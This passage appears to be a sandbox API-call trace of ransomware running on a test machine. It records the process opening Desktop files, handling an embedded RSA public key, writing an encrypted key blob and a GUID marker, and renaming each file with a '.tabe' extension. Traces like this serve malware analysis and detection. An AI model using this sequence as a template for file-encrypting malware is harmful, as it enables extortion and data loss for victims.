dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.049] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=35205) returned 1 [0126.049] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.050] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x895f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.050] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.051] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x8985, lpOverlapped=0x0) returned 1 [0126.052] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.052] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.052] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.052] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0126.052] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.052] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.053] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.053] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.053] GetLastError () returned 0x0 [0126.053] SetLastError (dwErrCode=0x0) [0126.053] GetLastError () returned 0x0 [0126.053] SetLastError (dwErrCode=0x0) [0126.053] GetLastError () returned 0x0 [0126.053] SetLastError (dwErrCode=0x0) [0126.053] GetLastError () returned 0x0 [0126.053] SetLastError (dwErrCode=0x0) [0126.053] GetLastError () returned 0x0 [0126.053] SetLastError (dwErrCode=0x0) [0126.053] GetLastError () returned 0x0 [0126.053] SetLastError (dwErrCode=0x0) [0126.053] GetLastError () returned 0x0 [0126.053] SetLastError (dwErrCode=0x0) [0126.053] GetLastError () returned 0x0 [0126.053] SetLastError (dwErrCode=0x0) [0126.053] GetLastError () returned 0x0 [0126.053] SetLastError (dwErrCode=0x0) [0126.053] GetLastError () returned 0x0 [0126.053] SetLastError (dwErrCode=0x0) [0126.053] GetLastError () returned 0x0 [0126.053] SetLastError (dwErrCode=0x0) [0126.053] GetLastError () returned 0x0 [0126.053] SetLastError (dwErrCode=0x0) [0126.053] GetLastError () returned 0x0 [0126.053] SetLastError (dwErrCode=0x0) [0126.053] GetLastError () returned 0x0 [0126.053] SetLastError (dwErrCode=0x0) [0126.053] GetLastError () returned 0x0 [0126.053] SetLastError (dwErrCode=0x0) [0126.054] GetLastError () returned 0x0 [0126.054] SetLastError (dwErrCode=0x0) [0126.054] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.054] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0126.054] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.054] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.054] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.054] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x840a88, Size=0x218) returned 0x3ae3728 [0126.054] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8985, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.054] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.054] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.054] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.055] CloseHandle (hObject=0x618) returned 1 [0126.055] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6 E2yImJTKh03Xs1.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6 e2yimjtkh03xs1.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6 E2yImJTKh03Xs1.pptx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6 e2yimjtkh03xs1.pptx.tabe")) returned 1 [0126.057] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7574a110, ftCreationTime.dwHighDateTime=0x1d5e13d, ftLastAccessTime.dwLowDateTime=0x7abfb780, ftLastAccessTime.dwHighDateTime=0x1d5e47c, ftLastWriteTime.dwLowDateTime=0x7abfb780, ftLastWriteTime.dwHighDateTime=0x1d5e47c, nFileSizeHigh=0x0, nFileSizeLow=0x4edb, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="9--KsUoJ.wav", cAlternateFileName="")) returned 1 [0126.057] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9--KsUoJ.wav") returned=".wav" [0126.057] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9--KsUoJ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9--ksuoj.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.057] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=20187) returned 1 [0126.057] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.058] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x4eb5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.058] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.060] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x4edb, lpOverlapped=0x0) returned 1 [0126.060] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.060] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.060] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.060] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.061] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.061] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.061] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.061] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.061] GetLastError () returned 0x0 [0126.061] SetLastError (dwErrCode=0x0) [0126.061] GetLastError () returned 0x0 [0126.061] SetLastError (dwErrCode=0x0) [0126.061] GetLastError () returned 0x0 [0126.061] SetLastError (dwErrCode=0x0) [0126.061] GetLastError () returned 0x0 [0126.061] SetLastError (dwErrCode=0x0) [0126.061] GetLastError () returned 0x0 [0126.061] SetLastError (dwErrCode=0x0) [0126.061] GetLastError () returned 0x0 [0126.062] SetLastError (dwErrCode=0x0) [0126.062] GetLastError () returned 0x0 [0126.062] SetLastError (dwErrCode=0x0) [0126.062] GetLastError () returned 0x0 [0126.062] SetLastError (dwErrCode=0x0) [0126.062] GetLastError () returned 0x0 [0126.062] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.062] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.062] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.062] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.062] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.062] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x840a88, Size=0x218) returned 0x3ae3728 [0126.062] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x4edb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.062] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.063] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.063] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.063] CloseHandle (hObject=0x618) returned 1 [0126.064] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9--KsUoJ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9--ksuoj.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9--KsUoJ.wav.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9--ksuoj.wav.tabe")) returned 1 [0126.065] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b015c60, ftCreationTime.dwHighDateTime=0x1d5e472, ftLastAccessTime.dwLowDateTime=0x7507b110, ftLastAccessTime.dwHighDateTime=0x1d5dbf0, ftLastWriteTime.dwLowDateTime=0x7507b110, ftLastWriteTime.dwHighDateTime=0x1d5dbf0, nFileSizeHigh=0x0, nFileSizeLow=0x8a7c, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="a8D2GLnw7ZaQJ5.mp3", cAlternateFileName="A8D2GL~1.MP3")) returned 1 [0126.065] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a8D2GLnw7ZaQJ5.mp3") returned=".mp3" [0126.065] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a8D2GLnw7ZaQJ5.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a8d2glnw7zaqj5.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.065] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=35452) returned 1 [0126.065] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.066] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8a56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.066] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.067] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x8a7c, lpOverlapped=0x0) returned 1 [0126.068] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.068] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.068] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.068] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0126.069] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.069] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.069] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.069] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.069] GetLastError () returned 0x0 [0126.069] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.069] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0126.069] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.069] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.069] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.069] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3ae3728 [0126.069] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8a7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.070] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.070] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.070] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.070] CloseHandle (hObject=0x618) returned 1 [0126.072] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a8D2GLnw7ZaQJ5.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a8d2glnw7zaqj5.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a8D2GLnw7ZaQJ5.mp3.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a8d2glnw7zaqj5.mp3.tabe")) returned 1 [0126.073] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9d7a8b0, ftCreationTime.dwHighDateTime=0x1d5e209, ftLastAccessTime.dwLowDateTime=0xa6cedd10, ftLastAccessTime.dwHighDateTime=0x1d5d7f2, ftLastWriteTime.dwLowDateTime=0xa6cedd10, ftLastWriteTime.dwHighDateTime=0x1d5d7f2, nFileSizeHigh=0x0, nFileSizeLow=0xdd21, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="aYzTNB.pdf", cAlternateFileName="")) returned 1 [0126.073] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aYzTNB.pdf") returned=".pdf" [0126.074] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aYzTNB.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ayztnb.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.074] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=56609) returned 1 [0126.074] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.075] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xdcfb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.075] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.076] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xdd21, lpOverlapped=0x0) returned 1 [0126.077] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.077] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.077] lstrlenA (lpString="-----BEGIN PUBLIC 